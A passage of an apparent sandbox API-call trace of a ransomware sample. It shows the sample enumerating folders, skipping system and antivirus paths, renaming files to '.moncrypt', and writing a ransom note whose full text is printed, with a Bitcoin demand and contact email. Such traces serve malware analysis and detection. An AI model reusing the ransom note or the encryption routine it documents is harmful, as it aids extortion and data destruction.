returned 0x555568 [0047.898] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.898] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.898] GlobalUnlock (hMem=0x440004) returned 0 [0047.898] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.898] GlobalUnlock (hMem=0x44000c) returned 0 [0047.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0047.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0047.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0047.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0047.900] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.900] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0047.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0047.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0047.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0047.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\") returned 0x5d [0047.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0047.902] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.902] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.902] GlobalUnlock (hMem=0x44000c) returned 0 [0047.902] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.902] GlobalLock (hMem=0x440004) returned 0x557578 [0047.902] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.902] GlobalUnlock (hMem=0x44000c) returned 0 [0047.902] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.902] GlobalUnlock (hMem=0x440004) returned 0 [0047.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0047.902] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.902] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0047.903] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0047.903] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.903] GlobalLock (hMem=0x440004) returned 0x555568 [0047.903] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.903] GlobalUnlock (hMem=0x440004) returned 0 [0047.903] GlobalLock (hMem=0x440004) returned 0x555568 [0047.903] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.903] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.903] GlobalUnlock (hMem=0x440004) returned 0 [0047.903] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.903] GlobalUnlock (hMem=0x44000c) returned 0 [0047.903] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.903] CharLowerBuffW (in: lpsz="GrooveMUI.XML", cchLength=0xd | out: lpsz="groovemui.xml") returned 0xd [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0047.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", cchWideChar=106, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML\x18", lpUsedDefaultChar=0x0) returned 106 [0047.904] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0047.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML\x18", lpUsedDefaultChar=0x0) returned 4 [0047.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.904] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0047.905] CloseHandle (hObject=0x190) returned 1 [0047.905] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\я")) returned 1 [0047.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 0x54e280 [0047.906] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.906] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.906] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", dwFileAttributes=0x20) returned 1 [0047.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.moncrypt")) returned 1 [0047.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.907] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.907] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x391 [0047.908] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.908] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x391, lpOverlapped=0x0) returned 1 [0047.913] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.913] GlobalLock (hMem=0x440004) returned 0x557578 [0047.913] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.913] GlobalUnlock (hMem=0x44000c) returned 0 [0047.914] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.914] GlobalUnlock (hMem=0x440004) returned 0 [0047.914] GlobalLock (hMem=0x440004) returned 0x555568 [0047.914] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.914] GlobalUnlock (hMem=0x440004) returned 0 [0047.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.926] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0047.926] CloseHandle (hObject=0x190) returned 1 [0047.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0047.927] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0047.927] GlobalLock (hMem=0x440004) returned 0x555568 [0047.927] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.927] GlobalUnlock (hMem=0x440004) returned 0 [0047.927] GlobalLock (hMem=0x440004) returned 0x555568 [0047.927] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.927] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.927] GlobalUnlock (hMem=0x440004) returned 0 [0047.927] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.927] GlobalUnlock (hMem=0x44000c) returned 0 [0047.927] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557578, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69940, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.927] GetLastError () returned 0x2 [0047.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.929] WriteFile (in: hFile=0x190, lpBuffer=0x1dcc068*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0047.929] CloseHandle (hObject=0x190) returned 1 [0047.930] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0047.930] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.930] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.930] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.930] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.930] GlobalUnlock (hMem=0x44000c) returned 0 [0047.930] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.930] GlobalLock (hMem=0x440004) returned 0x557578 [0047.930] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.930] GlobalUnlock (hMem=0x44000c) returned 0 [0047.930] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.930] GlobalUnlock (hMem=0x440004) returned 0 [0047.930] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.930] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0047.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.931] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", cchWideChar=102, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XMLt", lpUsedDefaultChar=0x0) returned 102 [0047.931] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0047.931] WideCharToMultiByte (in: CodePage=0x4e4, 